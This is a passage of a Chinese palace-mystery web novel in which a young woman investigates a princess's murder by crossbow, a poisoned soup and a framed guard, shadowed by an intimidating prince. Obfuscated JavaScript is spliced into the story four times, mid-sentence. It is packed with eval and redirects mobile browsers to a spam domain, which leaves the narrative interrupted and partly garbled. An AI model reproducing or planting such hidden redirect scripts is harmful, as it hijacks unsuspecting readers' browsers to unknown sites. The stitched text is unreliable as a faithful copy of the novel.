汝阳公主鲜妍的容颜想必已被煞白取代,那副养尊处优呵护出的躯体浸染在血泊中,就连死者的至亲齐慕远和襄城公主都目不忍睹。 但赵望舒却直勾勾地盯了尸体好一会,她想起书中对于公主死状的形容是被钝器砸得头骨碎裂,与眼前遭到射杀的情景显然不同。 “留在死者背上的箭矢较之寻常更短,应属于弩箭。” 赵望舒一边请金吾卫帮忙在附近搜寻凶器,一边转过身审视着方才排查出的八个嫌疑人。 冯玄晖在战场上杀敌无数,射箭自是手到拈来,张统领、陆世子和吴烨供职于羽林卫,骑射属于基本功,而蔡瑾瑜常年跟随长兄英国公戍边,在书中又有打斗描写,应当身手不俗。 吴尚书和程太傅是文臣,襄城公主据传性情比姐姐汝阳公主娴静,但万一他们中有箭术高手呢?毕竟人不可貌相。 因此赵望舒无法凭凶器锁定凶手身份,甚至于弓弩是不是凶器、汝阳公主的死因是不是中箭而亡,她也不能断定。 在她经历过的许多案件中,哪怕死者的尸体有明显外伤,外伤也不一定是死因,谨慎起见最好剖尸检验,把毒杀、病发等死因一一排除,不过鉴于汝阳公主身份特殊,她有预感自己会遭到阻拦。 果不其然,在她询问能否开刀验尸时,襄城公主率先按捺不住驳回道:“本宫知道验尸乃查案流程,可是皇姐贵为公主之尊,若连一具全尸都无法留下,岂不是夺了她的死后尊荣?” 而齐慕远的态度也与襄城公主一致:“姑姑不久后还要葬入皇陵,你可以查看遗体,但不得动刀有损她的尸身。” 赵望舒只能打消念头,虽然她认为查明案情比所谓的死后尊荣更重要,但在现代都依旧有不允许法医验尸的死者亲属,襄城公主和齐慕远的要求也就无可厚非了。 历经宴会、赏灯和赶来案发现场,此时已至午夜,上元彩灯将整座宫廷打造成名副其实的不夜城,可是人的感官无法被改变,就算有命案的刺激,在场众人依旧下意识开始困倦。 冯太后督促尽快破案,赵望舒也的确在尽心查案,但仅凭目前的线索,包括她自己在内、谁都不认为她能够一夜之间查清真相,既然如此,让众人陪在一旁等待就显得多余且煎熬了。 “天色已晚,除却赵小姐,诸位可以各自离宫回府。” 没等众人松一口气,冯太后又慢悠悠地补充道:“宫中人多眼杂,汝阳之死想来是无法隐瞒,但哀家不希望是从你们任何一位的口中流传出去,诸位可能做到?” 十数位宾客神色同时一凛,片刻也不敢迟疑地点头称是。 冯太后在一群宫人的簇拥下先行离去,她离开之后那股笼罩在众宾客头顶的威压瞬间消散,他们也赶快各自转身在金吾卫名为护送实为监视的陪伴中踏上出宫的路途。 赵望舒的便宜祖父赵钧山却没有第一时间跟着人群走开,他用担忧的目光看向赵望舒,似乎不放心她独自留在宫中查案。 但赵钧山作为外臣无法违令留宿皇城,纵然心中担忧,他也只得在临走前殷切嘱咐道:“你尽管用心查案,不必顾忌那些嫌疑人的身份地位,太后娘娘的态度才是最重要的……” 赵钧山是支持赵望舒在御前露面、为将来入仕铺路的,因此从头到尾都没有阻拦她干预命案纷争。 赵望舒目送着赵钧山、皇帝和襄城公主等人离去,她准备回到浮光台上,却在转过头的一瞬间瞥见冯玄晖挺拔的身姿,他的肤色并非白皙而是偏向小麦色,在黑夜中被蒙上一层模糊的阴影。 但不知为何,她肯定对方此刻面带笑容,而且正在目不转睛地注视着她。 赵望舒试图装作没有发现他,她自顾自地踏上台阶来到尸体旁边,却听见身后响起清晰的脚步声。 “睿王殿下。” 她心下不安,终究忍不住回眸朝着冯玄晖发问:“太后娘娘已经遣散宾客,您不随着金吾卫出宫回府吗?” 冯玄晖似乎耸了耸肩,他用坦然自若的语气回道:“本王只是关心案情,故而留在案发现场观摩赵小姐搜查推凶,并不四处走动,想来太后不会因此怪罪。” 关心案情?是关心还能不能把脏水泼到蔡氏头上吧? 赵望舒可不相信他在意命案本身,因为汝阳公主身为皇室的拥护者,她看不惯蔡氏,同样对外戚冯家素无好感,只是碍于积威甚重的冯太后和凶名在外的冯玄晖,她不敢像挤兑蔡氏一样议论冯家,却也没少背后在皇帝那里挑拨离间。 细究之下,说不定这就是冯玄晖的杀人动机,既能除掉一个给他使绊子的公主,又能借机嫁祸蔡氏,简直一石二鸟。 “赵小姐不允许本王待在这里吗?” 磁性而清润的声音在耳边响起,打断了赵望舒的思考。 她暗自腹诽着,冯玄晖甚至敢违命滞留宫中,她又哪来的能力限制他? 但她面上却学着对方的模样摆出笑颜:“殿下随意即可,臣女的职责和权力都唯有查案。” 说罢,赵望舒就强自镇定地回身,如同方才所说那样蹲下身验看尸体。 齐慕远与襄城公主要求不得有损尸身,这在一定程度上给她造成了阻碍,但好在她并非没有别的办法确定死因。 赵望舒连公主的衣服都不曾解开,她只仔细观察了尸体背部那三道箭矢造成的伤口,箭矢贯穿前胸后背,创口边缘的皮肤明显收缩。 她的目光侧移,落在尸体周围的大面积血泊上,血迹呈喷溅状,血泊里存在凝血块,这些都是生前损伤的特征,如果是死后受伤或移动尸体则无法形成眼前的现象。 这说明浮光台的确是第一案发现场,而汝阳公主的死因就是箭伤。 验尸过后,接下来的流程该是审问嫌疑人,只是众位宾客已然各自出宫,哪怕赵望舒能够凭借冯太后给予的特权一一上门找人,她也不好在深夜时刻这么做。 所以现在她尽可选择休息,等到清晨天光破晓再出宫寻访嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792305|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑人,但是—— 她其实无需浪费时间,因为书中已经道明那些人与汝阳公主的关系和动机,凶手的身份是变了,可嫌疑人还是同一拨。 譬如她知道襄城公主近来与姐姐汝阳公主时常发生口角。 譬如礼部尚书吴瑁的长子是汝阳公主的驸马,驸马半年前病逝,京中却有传言称他实则是被风流浪荡的公主和奸夫一同气死,而其次子吴烨疯狂迷恋公主寡嫂,曾说过若不能独占公主、就毁掉她。 羽林卫统领张鑫的动机与吴二公子类似,他和公主的亲密关系人尽皆知,但公主始终不肯改嫁于他,似乎嫌弃他出身低微不堪为配。 颍川侯世子陆良正好相反,据传冯太后有意撮合他做公主的新任驸马,可是他不仅私下议论公主是个对他仕途无益、身带污点的花瓶,还执着追求好友的未婚妻姚小姐,总之他十分不满这桩婚事。 他们之中,谁最有可能冒着风险在皇城之中刺杀公主? 赵望舒正在苦恼地分析着,但还没等她深入思考,一阵猛烈的寒风掠过,光源突然消失,取而代之的是伸手不见五指的昏暗漆黑。 即便身处这种阴森环境,旁边还摆着一具尸体,赵望舒也没有惊惶尖叫,但在她迈步想要走下阶梯去查看情况,因此无意间撞到某人坚硬温热的胸膛、并被对方伸手捏住后颈时,她心底却由衷产生了一种恐惧感。 她感受到粗粝指腹在摩挲她细腻柔滑的后颈,一股淡淡的血腥味钻入她鼻腔中,分不清究竟来自于地上的尸体还是身后的男人,这让她更加担心对方会收拢手掌直接将她掐死。 “赵小姐,不好意思,我们带来的提灯被风吹灭了……” 所幸在她身体僵硬、冯玄晖有下一步动作之前,周围重新亮起灯火,右金吾卫将军康瑛拿着一盏提灯向她走来,而覆在她后颈的手也适时被撤走。 赵望舒刚想松一口气,却在看到康瑛手中的提灯时灵光一闪,她像是抓住了思路般急切问道:“康将军,金吾卫发现尸体的时候,浮光台是不是像方才一样处于幽暗的环境中?” “没错,浮光台废弃已久,宫人们从来不在此地浪费灯火,连上元节的彩灯也没有在这边布置,若非闻到血腥味,金吾卫都难以发现公主遇害……” 康瑛一边疑惑地朝冯玄晖望去一眼,一边回答着她的问题。 赵望舒点了点头,她复又转过身看向汝阳公主的尸体,口中低声呢喃道:“身形相仿,衣服颜色相同,发髻和钗饰的款式也类似……” “你是说,汝阳公主和太后?” 她的低语自然被武功高强、五感敏锐的冯玄晖尽数听取,而他也很快领会到她的言下之意。 紫色象征高贵,在汝阳公主离席和冯太后回宫换装之前,这对妯娌都身穿紫服、头戴黄金钗饰,她们还同样身材高挑,兼之弓弩是远攻兵器,如果在昏暗的浮光台附近远远望去,只怕没几个人能辨别太后和公主的背影,这意味着—— “凶手真正想要刺杀的人是太后?” 5. 烦恼 权倾朝野、独揽江山的冯太后有仇家吗?不仅有,恐怕还三天三夜也说不尽。 但方才有作案机会的嫌疑人仅八名,倒没听说其中哪个与冯太后有明显仇怨。 赵望舒下意识瞥了冯玄晖一眼,如今反而他的嫌疑最低——就算他暗藏反心,在大势未成之前,他为了保住现有的地位也不会谋害太后,毕竟冯家满门荣耀皆来自于太后。 “刺杀太后可是牵连到社稷安危的大事,与公主被害不能相提并论。” 冯玄晖毫无顾忌地议论着复杂敏感的案情,还仿佛十分热心地朝她问道:“本王有些见解,不知赵小姐愿不愿意倾听?” 伸手不打笑脸人,哪怕明知冯玄晖心怀鬼胎,她也无法拒绝,还得摆出一副认真的表情回答:“殿下请说。” “想必赵小姐也能看出来,本王对蔡氏一族存有敌意。” 冯玄晖竟然直截了当点破他与蔡氏的矛盾,但给出的解释却又颇合情理:“这并非本王自己与蔡氏有什么过节,而是冯家和蔡氏积怨已久。” “蔡氏是京城望族,曾经出过一位皇后,就是先帝的生母静贤太后,可惜静贤太后早逝,待到当今陛下登基、太后娘娘主政,蔡氏已然彻底失却当初风光。” “眼下蔡家意图再送一位蔡氏女入宫为后,总不会是想让那位蔡小姐像两位公主一样陪伴陛下玩闹,可是只要太后活着,莫说朝政,她连宫权都无法沾手,所以究竟谁最有动机谋害太后也就不言而喻了。” 平心而论,冯玄晖的话术非常精湛,但凡换作旁人,在听过后定然要被他牵引思路陷入蔡、冯两家的矛盾中,忽略其它线索疑点。 可赵望舒却只是摇了摇头,一针见血地指出他所谓见解中的漏洞:“这场赏灯宴是太后主持举办的,蔡小姐、陆二小姐还有臣女是太后点名伴驾的,陛下从始至终没有表露态度,明眼人都能看出来是太后有意选蔡小姐为中宫皇后,如果太后与蔡氏有矛盾,她为何引狼入室?” 以冯太后的能耐不至于自找麻烦,因此她更偏向于猜测太后和蔡氏私下达成过共识。 “这么说来,赵小姐心中另有怀疑人选?” 不知为何,在她点明冯太后与蔡氏可能是一条船上的人之后,冯玄晖的语气比她先前几次拆他的台、破坏他的谋划时都要森然阴沉,但他却笑得温和,仿佛那股危机感只是她的错觉。 跟这个前一秒威逼利诱掐颈恐吓、后一秒若无其事温柔对话的笑面虎相处不过一个时辰,赵望舒已经身心俱疲,比她查任何疑难悬案时都更为心累。 所幸在她思考答案期间,旁边的康瑛开口提议道:“如果凶犯的目的是谋害太后娘娘,祂未必只准备了射杀一种办法,或许应该搜查一番举行宴会的蓬莱殿。” 赵望舒同意了这个建议,同时寄希望于能够就此摆脱冯玄晖。 可是当她与康瑛等一众金吾卫踏上宫廷长廊、朝着蓬莱殿前行时,身后却仍然响起不紧不慢的脚步声,冯玄晖似乎把他那句‘不会四处走动’抛在了脑后。 金吾卫依旧没有出面制止,赵望舒也只得忍受他类似监视威慑般的跟随,她叹了一口气,随口向康瑛问道:“康将军,像太后娘娘那等人物,平日走到哪里都有重兵护卫,凶手会愚钝到以为自己能够蹲守到太后落单的机会吗?” “汝阳公主亦是金尊玉贵、平日里一众宫人前呼后拥,但她仍孤零零死在浮光台。” 康瑛比她高近乎半个头,声音爽朗清亮,说话口吻也直率而不拐弯抹角:“太后娘娘身边的确守备严密,但是唯有我们少数几个心腹近臣才知道娘娘的谨慎习惯,外人产生误会倒不奇怪,至于公主因何主动落单,我就不清楚了。” 话音刚落,她们已然走到蓬莱殿前。 赵望舒和康瑛径直往宴席的主座走去,毫无疑问那是冯太后的位置。 适逢公主身亡,宫女太监们被禁止收拾清理宴会现场,不过她们保护的是汝阳公主的席位,而赵望舒更关心摆满主座的佳肴糕点。 她依次拿着酒杯、食盘细看轻嗅,可是一圈检查下来,没有任何发现。 赵望舒朝着康瑛摇了摇头,正欲离开此地,但在路过程太傅的座位时,她瞥向桌上那盅所剩无几的汤,思及它原本属于太后,她便随手端起,谁料却从中闻出一种令她脸色猛然一变的味道。 “这汤盅里有翡云草的气味,翡云草是西域珍植,常用于治病养生,但它同时也是南疆混毒‘香消玉殒’的其中一味药引,如若搭配杏仁服食,则一盏茶时间内混毒必定发作、致人死亡。” 冯太后席前摆着一碗已然被食用过半的杏仁羹,万幸她没有喝汤而是将其作为赏赐转送给程太傅,否则后果不堪设想。 先前关于‘谋害公主的凶手实际想要刺杀太后’这一推论终究只是假设,如今却是确凿证明有人意图毒害太后,康瑛的神情也瞬间变得凝重无比,她命令金吾卫取来六尚局安排宴会膳食的文书:“按照文书内容,所有菜品都未曾使用翡云草制作。” “也就是说,下毒之人要么有能耐在御膳房动手脚,要么是在方才宴会当场借机投放翡云草。” 可以做到这两点的人不多,但范围依旧很大,尤其赵望舒无法确认投毒者与谋害汝阳公主的凶犯是否为同一人。 她只能对康瑛说道:“康将军,请你派人到太医院、国库甚至京中大小药铺调查近期有什么人收购取用过翡云草,它并非随处可见的药材,定然有留下记录。” 康瑛自然照做,她亲自率人前去调查,而留在原地的赵望舒正犹豫着要去审问汝阳公主的近侍还是暂时休息等到明日探访嫌疑人,这时,一列金吾卫带回重要讯息——“赵小姐,我们在冷宫枯井井底捞出了一件沾血的斗篷和一双鞋靴。” 这下她无需纠结了,唯有立刻跟进新线索一种选择。 赵望舒跟随金吾卫踏出蓬莱殿,重新走在望不见尽头的宫廷长廊上,她的双眉紧紧蹙起,仿佛含着万千愁绪,旁人或许以为她被案情困扰,却不知她的烦恼全系在右侧优哉游哉、笑意散漫的某人身上。 康瑛不在,与她并肩行走的人就换成了冯玄晖,这位睿王殿下似乎打定主意插手案情,导致她不仅要搜查思考,还得同他周旋,防备着他暗中使坏。 “有能耐在御膳房动手脚的只能是宫廷中人,而方才宴会可以接近太后坐席的,要么是左侧的陛下和两位公主,要么是本王或蔡小姐一家……” 譬如此刻,他竟给她出了道送命题:“在这其中,赵小姐有怀疑对象吗?” 赵望舒不可能猜疑皇帝或是公主,至少不能说出口,那就只剩冯玄晖和蔡瑾瑜一家,她没有莽到当着冯玄晖的面质疑他,但她也没有打算毫无证据的情况下指控蔡家、落人口实。 “臣女以为大庭广众之下投毒实在风险极高,而且很难逃过金吾卫的注意,因此这只是假设……” 赵望舒不得不给出模棱两可的回答,以免留下话柄,说罢,她还忍不住在心底暗骂对方见缝插针式的坑害。 她紧皱成一团的眉宇是松缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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女童站起身落落大方地朝赵望舒开口说话,末了,还自顾自地伸出手握了握她的指尖:“你身上的血腥味好浓。” 赵望舒愣了愣,她像对方一样自我介绍,旋即又回答道:“因为我刚刚验看过尸体。” 闻言,康瑞叶用惊奇的眼神盯着她,但她却没有在此时多做赘述,而是弯腰一手提着斗篷、一手拎起鞋靴。 斗篷通体纯黑,下摆约莫三寸都呈浸湿状,凑近一闻就知是被鲜血染过,而这双鞋靴的底部一如她先前猜测般沾满血迹,显然踩过案发现场的血泊。 “这件斗篷长约五尺七寸,鞋距八寸……” 赵望舒用金吾卫寻来的尺子仔细量过衣鞋的长短,然后她几乎第一时间抬眸望向冯玄晖,像是终于抓到反击的机会般迫不及待地宣布:“这种尺寸的斗篷和鞋靴,唯有殿下您和张统领两人可以用上。” 冯玄晖和张统领的身高皆是突出,只不过相较肌肉过于发达的张统领,他宽肩窄腰的体形更为优越,哪怕她带着偏见打量,也不得不承认他有一副极其养眼的皮相。 而听见她意有所指的言语,冯玄晖依旧气定神闲,甚至没有表现出解释的意图,仿佛被列为唯二的嫌犯并非什么大不了的事。 与此同时,金吾卫突然的禀告更让她觉得好运在眷顾这个笑面虎—— “羽林卫有一卫兵检举统领张鑫在巡逻期间擅离职守,并带着我们在张鑫营帐中找到了弓弩。” 6. 误导 “其实巡逻中途偶有一两个卫兵擅离职守是常事,末将也并非那等不通情理、酷爱检举同僚之人,毕竟以后还是要在军中混的,但是今夜忽闻公主遇刺,再联想到张统领独自离去的那段时间,末将警惕心起,忍不住悄悄混进统领的公幄中,结果发现了这个东西……” 站在羽林卫临时营地公幄内的中年男人正一脸严肃地讲述着发现凶器的前因后果,而不远处被指控的羽林卫统领张鑫则目露杀意,若非金吾卫牢牢按住他,恐怕他真会让那男人血溅当场。 那把弓弩被呈到赵望舒面前,她拿起它仔细地上下检查。 而被迫跪在地上的张鑫已经在一边叫骂一边辩解:“罗辉,你这狗畜生居然敢污蔑我!你定是记恨我把校尉一职给了旁人,所以将什么弓弩放进我的公幄里……” “统领,末将是对您有怨言,因此才来您的公幄搜查,但一码归一码,这弓弩确实是在这里找到的,您也确实有作案时间。” 那叫做罗辉的卫兵被骂得面色涨红,言语却依旧有条有理,比张鑫的申辩更为有力。 张鑫被刺激到,辱骂的词语变得愈发粗鄙难听,就在赵望舒皱起眉准备喝止他时,一道低沉声音抢了先:“张统领,指向你的证据可不只弓弩。” 在冷宫枯井里捞出的沾血斗篷和鞋靴被冯玄晖扔到地上,按照衣鞋的尺寸,嫌疑最重的无疑是他与张鑫,但后者却不知是没想到还是没胆量、并未攀扯冯玄晖来推诿嫌疑。 “擅离职守的那段时间,你去做了什么?” 冯玄晖好整以暇地俯首盯着跪在地上的人,他的口吻并不压迫,问题也不算刁钻。 可是张鑫却支支吾吾了好半天才憋出一个模糊的回答:“卑职、卑职脾胃不适,去了茅厕……” “狡辩无力,兼之证据确凿,足见你预谋刺杀太后、又误害了公主的罪行属实。” 冯玄晖的情绪转变毫无征兆,他没有变脸,只是突然拔高了音量:“来人,把这乱臣贼子押入天牢,着副统领冯沛暂时代掌羽林卫兵权。” 面临直接指控,张鑫还愣了一会,等到金吾卫来给他上镣铐,他才反应过来连喊冤枉:“殿下明鉴,卑职没有谋害公主!” “他身上的确没有血腥味。” 在这种情境下,反倒是康瑞叶站出来指着张鑫替他说了一句话。 然而冯玄晖却摆着温润笑脸、漫不经心地驳回了她的质疑:“他在行凶之后完全有时间用别的气味祛除掩盖血腥味,纵使康小姐你的鼻子再灵敏,也难以分辨吧?” 像张鑫一样,先前表现得早熟大胆的康瑞叶也不敢同冯玄晖呛声,只是暗自撇了撇嘴就又退回到一边。 案件似乎临近告破,目前足有三个证据指向张鑫,而且他没有不在场证明,应对审问时也肉眼可见的心虚慌乱。 但是赵望舒并不感到轻松,这一切太过巧合,巧到像是人为。 她不相信冯玄晖没有产生过怀疑,只是与她不同,他想要的从来不是真相,而是利益,眼看着线索跟蔡氏扯不上关系,能捡个羽林卫兵权也算不错——那个副统领冯沛一听就是冯家人、是他的党羽。 很可惜,赵望舒要再一次使他的算盘落空了:“且先放开张统领,他不是谋害公主的凶手。” 听到她的阻止,冯玄晖已然没有什么意外的神色,他只是似乎有些无奈:“赵小姐为张统领辩护的理由莫非与康小姐一样?” “臣女没有为谁辩护,只是依据事实说话罢了。” 那把弓弩被赵望舒举起,她的指尖落在光滑的弓弦上,勒出淡淡红痕:“首先,这把弓弩不是凶器,它没有使用痕迹,仍处于崭新的状态。” 冯玄晖目光紧跟着她的动作,一一扫过弓弦和她略带薄茧的葱白指尖,他挑了挑眉,并未打断她的解释。 “其次——” 赵望舒弯腰把弓弩放到地上,然后拾起斗篷走到冯玄晖身前,就这么对着他比划:“凶手使用弓弩射杀公主,这是远攻,无需近身,也就是说祂不会被公主的血溅到,只有在祂去察看尸体时,祂披着的斗篷下摆和鞋底才会沾血。” “这件斗篷的尺寸的确与张统领和睿王殿下相衬,但如果是他们披上斗篷,按理说下摆与地面相触的部分不会超过半寸,哪怕算上鲜血蔓延浸染,也没可能超过一寸,可是斗篷下摆的血迹却足有三寸。” “这意味着斗篷对于凶手来说根本不合身,祂的真实体形应该比张统领和睿王殿下要矮小一些。” “同样的,鞋靴也不合凶手的脚,如果祂在案发现场留下鞋印,受力不均导致的鞋印深浅差别有一定可能暴露祂的真实脚长,因此凶手费心抹去痕迹,只为了制造这一出栽赃陷害的戏码。” 话音落尽,被排除嫌疑的张鑫挣脱金吾卫,在感激涕零的朝赵望舒拱手一拜后,他作势要冲过去殴打那个诬告他的卫兵罗辉,却被冯玄晖一个眼神定在原地。 赵望舒的手腕被眼前人轻易握住,她手中的斗篷也遭到一股拉扯,为防破坏证物,她连忙松手任由冯玄晖将其夺走,但对方温热干燥的掌心却仍然覆在她的肌肤之上。 她还以为这回的反驳惹得冯玄晖动了真怒,不曾想他含笑的声音响起,却是在问:“赵小姐早就发觉斗篷和鞋靴是凶手的障眼法,怎么还借此来恐吓本王、给本王扣上嫌犯的身份?” 她恐吓他? 简直是恶人先告状,真正被他恐吓了好几次的赵望舒都气笑了,她摆出一副无辜惊诧的神色:“臣女刚刚才想通那些疑点,绝没有故意攀扯殿下,殿下气量非凡,应当不会计较这点小误会吧?” 她知道冯玄晖不是什么好人,但她偏要给他戴高帽,看他舍不舍得下脸皮继续在明面上刁难她。 施加在她手腕上的力道猛地收紧,仿佛两人的骨头都要相触在一起,就在赵望舒准备咬唇忍住痛呼声时,冯玄晖手掌一松,让她的腕子解脱出来。 瞧见腕间那道显眼的红痕,她终究没忍住瞪了冯玄晖一眼,对方倒也不觉冒犯,只是垂眸用意味不明的眼神盯着她。 赵望舒深吸一口气,转过身去不再看他,而是迈步走向罗辉,换上略显凌厉的语气质问道:“如今事实已经分明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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罗辉肯定地点了点头,怕她误会自己有所隐瞒,还主动补充道:“不过我真不清楚那人的身份特征,祂一直用纸笔写字同我交流,而且给我看过之后立即就销毁字迹,是以我连他的声音都不曾听过,唯能从祂阔绰支付定金的行径判断祂定然非富即贵……” 这却是无甚意义,嫌疑人中有哪个不是非富即贵? 不仅如此,赵望舒还发现自己犯了一个错误:“我被凶手误导了,祂要谋杀的目标从始至终都是汝阳公主本人,而非太后。” 如果凶手试图行刺冯太后、因此误杀公主,祂怎会在提前收买罗辉时就交代对方‘检举张统领是杀害公主的凶犯’? 所以误杀只是一个幌子,用来混淆视听,张鑫不得冯太后重用,他自然有行刺太后的动机,如若整桩案件就此结案,甚至无需牵扯出其余嫌犯与公主的矛盾,凶手也就能顺利逃脱制裁。 凶手不会想到在祂故意抛出斗篷、鞋靴和弓弩三重障眼法之后,她反倒借此洗清了张鑫的嫌疑,更没有预料到祂与罗辉的交易正是使祂诡计败露的关键。 赵望舒叹息一声,如今明白过来回到正轨上也不算晚,但这意味着所有调查都要重新开始:“将罗辉收押,我们先去公主寝殿审问她的近侍。” 既然症结仍在公主身上,那么揭开真相的谜底也应当围绕着公主来探寻,她只希望在短暂陷入凶手的误导之后,她还有足够的时间。 7. 传闻 柔福殿。 黄金堆砌成环绕殿室的墙壁,玉石铺就起随意踩踏的地板,在彩灯的映照下更显华贵。 这座宫殿的富丽堂皇仅次于举办朝会的金銮殿与冯太后居住的长乐宫,据传曾为多代帝王的宠妃所占,而汝阳公主则凭借皇帝侄子齐慕远的纵容成为它的现任主人。 赵望舒等人一路从羽林卫营地行至殿外,迈过门槛之后经过的每个宫女太监都不约而同露出惊恐表情并且迅速低头走开、有些甚至忘记行礼。 “原来金吾卫这么威名赫赫……” 赵望舒自然觉得宫人们恐惧的对象是披甲执锐的金吾卫,毕竟作为‘太后亲卫’,她们还是极有权势与威慑力的。 但康瑞叶却一蹦一跳地凑到她旁边,踮起脚尖对她低声解释道:“柔福殿的人怕得是那位!” “去年吏部右侍郎致仕,那位的表姑和一个姓霍的员外郎角逐这一要职,霍员外长得俊,因此攀上汝阳公主,给公主吹枕边风,公主便到御前撺掇陛下亲自拟旨提拨他,结果他还没等到上任,人就突然没了,最后差事还是落在冯表姑头上。” “听说、听说霍元外的头颅还被砍下来暗中送到公主床前,差点把公主和柔福殿的人吓疯,朝野内外都猜是那位做的。” 话音刚落,赵望舒还来不及反应,前方的冯玄晖就突然止住脚步转过身,以他的武功耳力自然没可能略过方才的低语,而他脸上一贯挂着笑容,让人根本辨不清他的喜怒。 她本能地向前一步,挡住正捂着嘴心虚发抖的康瑞叶,但她一时也想不出什么解围的话,只能莫名其妙的与冯玄晖对视了一会,直到汝阳公主的贴身侍从被带到她面前。 汝阳公主身边有两位大宫女,分别唤做茯苓、紫苏,还有一个掌事太监陈公公。 这三人在公主跟前得脸,显然是风光过的,因此神态与走路姿势都比寻常宫人要张扬些,却也在望见冯玄晖的第一时间颤抖瑟缩,仿佛恨不能找个地缝躲进去。 她们的反应又给关于冯玄晖的恐怖传闻增添了可信度,赵望舒一边在心底暗自想着冯玄晖与公主的旧怨,一边如常开口道:“很遗憾带给你们这样的消息,公主殿下已在浮光台不幸遇害身亡。” 闻言,三人几乎同时露出震惊失措的表情,乍一看去并无表演痕迹。 “我有些疑惑,以公主的身份,她怎会落单以至于在那么偏僻的地方遇害?” 赵望舒的视线在她们之间扫了一圈,最终落在茯苓身上,因为对方是今夜陪伴公主出席宴会的人:“茯苓姑娘,你能为我解答吗?” 这问题惹得茯苓面色一变,如果她不把前因后果解释清楚,那就无疑会承担失职的指控。 “奴婢原该陪在公主身边,可是公主无论如何也要独自一人,强硬将奴婢支走……” 茯苓似是觉得这般说辞像在推卸责任给汝阳公主,却又不得不说明事实,讲到最后,她已然带上了哭腔。 赵望舒见了不由一叹,她不想要刁难茯苓,因而只道:“你也是听凭公主的命令,没有什么供人指摘的地方。” 茯苓的话证实了赵望舒的猜测,汝阳公主不是无缘无故去到偏僻而废弃的观景台,很可能有某个人或者某件事促使她决定甩开侍从、独自出现在浮光台。 如果邀公主私会的就是凶手,那么按照方才羽林卫营地里的事情排除冯玄晖和张统领之后,剩余六个嫌疑人中似乎只有襄城公主比较可疑—— 汝阳公主并非天真单纯的傻白甜,试想与她不熟的蔡瑾瑜、同她关系不睦的公公吴尚书等人要求她到一个偏僻地方相见,她怎会毫无防备就依言赴约? 即便是传闻中疑似和公主存在私情的吴二公子,他也不至于让她冒险,但襄城公主却是她情谊深厚的妹妹,或可让她放松警惕。 这时,赵望舒察觉到茯苓时不时就向她投来一种犹豫纠结的目光,像是有话要说、却又因为某种顾忌无法开口。 她立刻摆出一副体贴的模样,轻声细语地朝包括茯苓在内的所有柔福殿宫人劝说道:“我理解诸位想要保守公主的隐私,可是公主已逝,如今最关键的是查出谋害她的真凶,到时太后娘娘与陛下得到了交代,诸位也好被分配新的职位、奔赴新的前程……” 在没有利益或情感牵扯的境况下,一众宫人理应少有主仆情深的心思,毕竟谁都不是天生的贱骨头,很多时候只为谋生。 果不其然,茯苓左右张望了一下,随即走近赵望舒,附在她耳边说道:“公主是在收到一张纸条后突然决定甩开侍从独自行动的,虽然公主不曾明说,但奴婢眼尖瞧见了纸条的内容,其中字迹和口吻都分明出自……陛下。” 赵望舒恍然大悟。 难怪茯苓先前有所顾虑,她本以为对方隐瞒的事与襄城公主有关,却没想到会涉及皇帝。 可是这一线索更显诡异,因为一来她不曾从案发现场或尸体上找到什么纸条,二来齐慕远根本没有离开众宾客的视线而落单过,他不在嫌疑人之列。 所以要么是茯苓撒谎,要么齐慕远确实与公主有约、只是他并未赴约反给凶手谋害公主的机会,还有便是凶手假冒齐慕远的名义引诱公主孤身赴约。 赵望舒更偏向于最后一种假设,凶手提前五天就安排好了嫁祸张统领的戏码,祂的谋杀绝非临时起意,故而没可能等待不受控的意外事件来给祂提供作案机会。 心中闪过千百思绪,她的余光无意间瞥见陈公公的紧张面色,对方似乎生怕茯苓对她透露什么情报,但茯苓所言除却事关皇帝之外并无什么祸端,陈公公在担心什么? 她暗自存下疑虑,复又想起原书中汝阳公主与襄城公主常有口角,她只知两姐妹近来发生了矛盾,却不清楚内情,因此打算趁此机会打探。 “汝阳与襄城二位公主近日似乎总是争吵,你们作为汝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792308|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳公主的近侍,应当知悉背后缘由吧?” 此言一出,茯苓、紫苏和陈公公面面相觑,但却口径一致的否定了她的问题。 赵望舒没有放弃,她故意摆出一副心中有数的模样,直接下了最后通牒:“我既然能探听到两位公主的口角之争,究出具体经过也是迟早的事,不过那时你们就得背上一层知情不报的罪名了。” 汝阳公主和襄城公主的争吵并不是台面上的事,她能直接说出来,的确显得她情报渠道宽泛,那三人立即就被唬住了。 “奴婢、奴婢只记得两位公主第一次发生口角,是在一个月前我们公主主动挑起的,她才开头说了句‘你怎么能背着我……’,襄城公主就将奴婢等人摒退了。” 